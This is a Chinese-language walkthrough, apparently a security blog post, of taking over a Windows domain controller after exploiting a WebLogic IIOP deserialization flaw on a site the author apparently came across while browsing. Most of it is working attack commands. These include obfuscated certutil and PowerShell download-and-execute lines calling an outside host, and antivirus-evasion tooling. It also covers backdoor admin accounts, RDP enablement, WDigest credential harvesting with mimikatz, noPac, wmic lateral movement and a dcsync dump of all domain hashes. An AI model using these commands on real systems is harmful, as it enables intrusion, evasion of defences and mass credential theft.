记一次weblogic反序列化到内网域控上线

声明:文中涉及到的技术和工具,仅供学习使用,禁止从事任何非法活动,如因此造成的直接或间接损失,均由使用者自行承担责任。

点点关注不迷路,每周不定时持续分享各种干货。
众亦信安,中意你啊!

记一次weblogic反序列化到内网域控上线_第1张图片


背景

在一个风和日丽的早晨,日常学习着大佬的各种姿势,在肆意游荡时发现一个处站点,存在weblogic IIOP反序列化。

命令执行,这里想到了三种上线法子,上传webshell、powershell上线、frp免杀上远程桌面,这里就一个一个来吧。
记一次weblogic反序列化到内网域控上线_第2张图片

上传webshell


https://www.cnblogs.com/sstfy/p/10350915.html    //某大佬总结的Weblogic上传路径

记一次weblogic反序列化到内网域控上线_第3张图片

尝试发现方法1中的路径存在。

记一次weblogic反序列化到内网域控上线_第4张图片

写入webshell。
记一次weblogic反序列化到内网域控上线_第5张图片

翻车,马儿根本就访问不到,连控制台登录页面也访问不到直接404。(没有考虑到webshell不免杀的问题,在此推荐两个webshell的免杀项目)

https://github.com/Tas9er/ByPassBehinder
https://github.com/Tas9er/ByPassGodzill

记一次weblogic反序列化到内网域控上线_第6张图片

systeminfo后,将补丁扔到在线AV对比平台发现该系统存在Defender,就知道shell被干掉了。
记一次weblogic反序列化到内网域控上线_第7张图片

powershell上线


在尝试第二种方法,因为Defened好像对powershell上线certutil下载不会进行拦截,先尝试windows自带的下载命令有好几种,这里尝试混淆certutil。

远程下载命令:

certutil.exe -urlcache -split -f http://1.1.1.1:8088/1.exe 1.exe
"c""e""r""t""u""t""i""l" -"u""r""l""c""a""c""h""e" -split -f http://1.1.1.1:8088/1.exe 1.exe

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://1.1.1.1/a'))"

cmd /c powershell -nop -c "IEX(New-Object Net.WebClient)."DownloadString"('ht‘+’tp://1.1.1.1/a')" 

cmd /c echo set-alias -name xz -value IEX;x^z (New-Object "Ne`T.WeB`ClienT").d^o^w^n^l^o^a^d^s^t^r^i^n^g('ht'+'tP://1’+'92.168.1.1'+'1/a') | p^o^w^e^r^s^h^e^l^l

cmd /c echo set-alias -name xz -value IEX;x^z (New-Object "Ne`T.WeB`Cli’+'enT").d^o^w^n^l^o^a^d^s^t^r^i^n^g('h’+'t’+'t’+'P://19’+'2.16’+'8.1’+'1.1'+'1/a') | p’+'o’+'w’+'e’+'r’+'s’+'h’+'e’+'l’+'l -

以上的命令均尝试失败,因为该服务器是出网的,基本上可以判断是被Win Defender给拦了。

frp免杀上远程桌面


使用第三种方式,上传免杀frp,添加用户后登录系统。(普通frp上传就被干死)

在域控权限的获取中,使用了该项目进行免杀。(测试时过某绒、某擎、Win Defender)

https://github.com/pureqh/bypassAV

frp改造项目网上有很多,可以google搜索frp改造,参考进行改造,下文中使用的是改造后的frp进行内网穿透。

添加用户,此处是可以直接添加用户的,但是针对有其他杀软的情况也可以通过混淆的方法绕过添加用户。

net user lanqiuy1 123456 /add    //建立账号
net localgroup administrator lanqiuy1 /add  //添加到管理员组

powershell New-LocalUser betasec -Password (ConvertTo-SecureString -String 'pass!@#!23' -AsPlainText -Force)
Add-LocalGroupMember -Group "administrators" -Member "betasec"
//绕过defender添加管理员用户

查看开放端口,并未开放RDP服务,这里开启一下

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

修改防火墙放行远程桌面端口

netsh advfirewall firewall add rule name=“Remote Desktop” protocol=TCP dir=in localport=3389 action=allow
关闭鉴权模式,即取消 “仅允许运行使用网络界别身份验证的远程桌面的计算机连接”。

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0

记一次weblogic反序列化到内网域控上线_第8张图片

配置好代理后,就可以通过ip访问系统了。

CS上线


直接生成payload

记一次weblogic反序列化到内网域控上线_第9张图片
记一次weblogic反序列化到内网域控上线_第10张图片
记一次weblogic反序列化到内网域控上线_第11张图片

然后在远程桌面上以管理员身份运行powershell,将payload复制进去执行,CS成功上线。(这里把Win Defender关闭了)
记一次weblogic反序列化到内网域控上线_第12张图片

进程列表,进程迁移,成功得到system权限。
记一次weblogic反序列化到内网域控上线_第13张图片

快速定位域控在哪里,第一种就是查看时间服务器,第二种是查看DNS服务器,一般情况下时间服务器为域控。(网上很多定位域控方法,就不列举了)
记一次weblogic反序列化到内网域控上线_第14张图片记一次weblogic反序列化到内网域控上线_第15张图片

可判断域控机器为 192.168.x.12
记一次weblogic反序列化到内网域控上线_第16张图片

获取明文密码


前面收集到该机器是win2016(当win2008后就抓不到明文密码),所以修改注册表先开启明文密码记录,然后锁屏等待管理员登录的记录密码。

开启明文记录

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

记一次weblogic反序列化到内网域控上线_第17张图片

对机器进行锁屏

rundll32 user32.dll,LockWorkStation

记一次weblogic反序列化到内网域控上线_第18张图片

这里就需静静等待管理员重新输入密码登录系统,便可抓到procdump+mimikatz获取明文密码。

一段时间后,使用cs自带mimikatz成功抓到明文密码:

记一次weblogic反序列化到内网域控上线_第19张图片

域控找到了,最简单无脑的操作就是拿着洞去怼着域控打,使用黑神教的 noPac(CVE-2021-42287, CVE-2021-42278) 提升域内用户权限,发现失败。推测是defender拦截了。

shell noPac.exe -domain 域名 -user 用户名 -pass 密码 /dc TLG-FILE1.TLG.LOCAL /mAccount test /mPassword QWEasd123 /service cifs /ptt

记一次weblogic反序列化到内网域控上线_第20张图片

IPC$ 域控上线成功


测试查看域管理员时,发现xxxxxport是域管理员用户同时也成功获取到明文账号密码,这里我们用ipc进行横向,再使用wmic进行上线。

net use \\192.168.x.12\C$ "xxxxxxx#0315" /user:xxx\xxxxxport

在这里插入图片描述

查看是否连接成功

记一次weblogic反序列化到内网域控上线_第21张图片

用上边免杀项目生成免杀的exe,将马儿移动到域控上

shell copy google_update.exe \\192.168.x.12\c$\users\public\1.exe

查看马儿是否移动成功

shell dir \\192.168.x.12\c$\users\public

记一次weblogic反序列化到内网域控上线_第22张图片

使用wmic进行远程执行 域控上执行上传的马儿,成功上线。

shell wmic /node:192.168.x.12 /user:"xxx\xxxxxport" /password:xxxxx#0315  process call create "cmd.exe /c start c:\users\public\1.exe"

记一次weblogic反序列化到内网域控上线_第23张图片记一次weblogic反序列化到内网域控上线_第24张图片

既然上线域控了,那不得抓一波域用户密码。

shell mk.exe "lsadump::dcsync /domain:xxx.LOCAL /all /txt"  exit >> 3.txt

将txt下载下来

记一次weblogic反序列化到内网域控上线_第25张图片
记一次weblogic反序列化到内网域控上线_第26张图片

抓到了n个ntlm,直接去cmd解密即可。
记一次weblogic反序列化到内网域控上线_第27张图片


PS: 过程中也碰到了webshell,frp等不免杀的问题,横向域控时大部分方法都试了没成功,后面黑神指点一手居然忘记先前锁屏可能抓明文密码了,果不其然后续就直接用ipc$就横向到域控了。

你可能感兴趣的:(【众亦信安】专栏,weblogic,网络安全,内网渗透)